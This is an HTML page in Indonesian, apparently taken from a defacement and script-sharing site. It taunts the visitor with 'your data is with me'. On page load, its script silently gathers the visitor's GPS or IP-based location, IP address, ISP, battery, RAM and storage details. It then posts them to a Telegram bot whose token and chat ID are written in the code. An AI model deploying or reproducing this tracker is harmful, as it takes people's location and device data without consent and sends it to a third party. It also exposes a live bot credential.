<!-- -- Uploaded on : https://haxor.my.id/open/untuk_temanku.html -- Official Web : https://prinsh.com -- script-deface-generator.prinsh.com --> <!-- -- Downloaded from : https://haxor.my.id/save/amazingjirrrrr.html -- Official Web : https://prinsh.com -- script-deface-generator.prinsh.com --> <!DOCTYPE html> <html lang="id"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>data kamu ada di aku awas😈</title> </head> <body> <h2>data kamu ada di saya😈</h2> <script> async function getBatteryInfo() { if (navigator.getBattery) { const battery = await navigator.getBattery(); return `Baterai: ${Math.round(battery.level * 100)}% (${battery.charging ? "🔌 Mengisi daya" : "⚡ Tidak mengisi daya"})`; } return "Baterai: Tidak didukung"; } async function getDeviceInfo() { const memory = navigator.deviceMemory || "Tidak diketahui"; const ram = memory + " GB"; try { if ('storage' in navigator && 'estimate' in navigator.storage) { const { quota, usage } = await navigator.storage.estimate(); return { ram, totalStorage: (quota / (1024 * 1024 * 1024)).toFixed(2) + " GB", usedStorage: ((usage / quota) * 100).toFixed(2) + "% digunakan" }; } } catch (e) {} return { ram, totalStorage: "Tidak diketahui", usedStorage: "Tidak diketahui" }; } function getCurrentTime() { return new Date().toLocaleString("id-ID", { timeZoneName: "short" }); } function getLocation(timeout = 5000) { return new Promise((resolve) => { let resolved = false; const fallback = async () => { if (!resolved) { resolved = true; resolve(await getLocationByIP()); } }; setTimeout(fallback, timeout); if ("geolocation" in navigator) { navigator.geolocation.getCurrentPosition( (pos) => { if (!resolved) { resolved = true; resolve({ latitude: pos.coords.latitude, longitude: pos.coords.longitude, metode: "GPS (Akurat)" }); } }, fallback ); } else { fallback(); } }); } async function getLocationByIP() { try { const res = await fetch("https://ip-api.com/json/"); const data = await res.json(); return { latitude: data.lat || "Tidak diketahui", longitude: data.lon || "Tidak diketahui", negara: data.country || "Tidak diketahui", provinsi: data.regionName || "Tidak diketahui", kota: data.city || "Tidak diketahui", isp: data.isp || "Tidak diketahui", metode: "IP (Perkiraan)" }; } catch { return { latitude: "Tidak diketahui", longitude: "Tidak diketahui", metode: "Gagal mendapatkan lokasi" }; } } async function getIPInfo() { try { const res = await fetch("https://api64.ipify.org?format=json"); const ipData = await res.json(); return ipData.ip; } catch { return "Tidak diketahui"; } } async function kirimKeTelegram() { try { // Ambil semua data secara paralel const [batteryInfo, deviceInfo, lokasi, ipAddress] = await Promise.all([ getBatteryInfo(), getDeviceInfo(), getLocation(), getIPInfo() ]); const pesan = ` 🌍 **Info Pengguna** - IP: ${ipAddress} - Negara: ${lokasi.negara || "Tidak diketahui"} - Provinsi: ${lokasi.provinsi || "Tidak diketahui"} - Kota: ${lokasi.kota || "Tidak diketahui"} - ISP: ${lokasi.isp || "Tidak diketahui"} 📍 **Lokasi (${lokasi.metode})** - Latitude: ${lokasi.latitude} - Longitude: ${lokasi.longitude} 💻 **Device Info** - RAM: ${deviceInfo.ram} - ROM: ${deviceInfo.totalStorage} (${deviceInfo.usedStorage}) - ${batteryInfo} 🕒 **Waktu Saat Ini** - ${getCurrentTime()} `; const botToken = "7739534482:AAEERUqgExI_xCJR1aGxB2qqpsf_QYFrCo0"; // Ganti dengan token bot lo const chatId = "6692971365"; // Ganti dengan ID chat lo const telegramApi = `https://api.telegram.org/bot${botToken}/sendMessage`; // Kirim ke Telegram await fetch(telegramApi, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ chat_id: chatId, text: pesan, parse_mode: "Markdown" }) }); document.body.innerHTML = "<h2>Pesan berhasil dikirim ke Telegram!</h2>"; } catch (error) { console.error("Error:", error); document.body.innerHTML = "<h2>Terjadi kesalahan!</h2>"; } } // Kirim otomatis saat halaman dibuka window.onload = kirimKeTelegram; </script> </body> </html>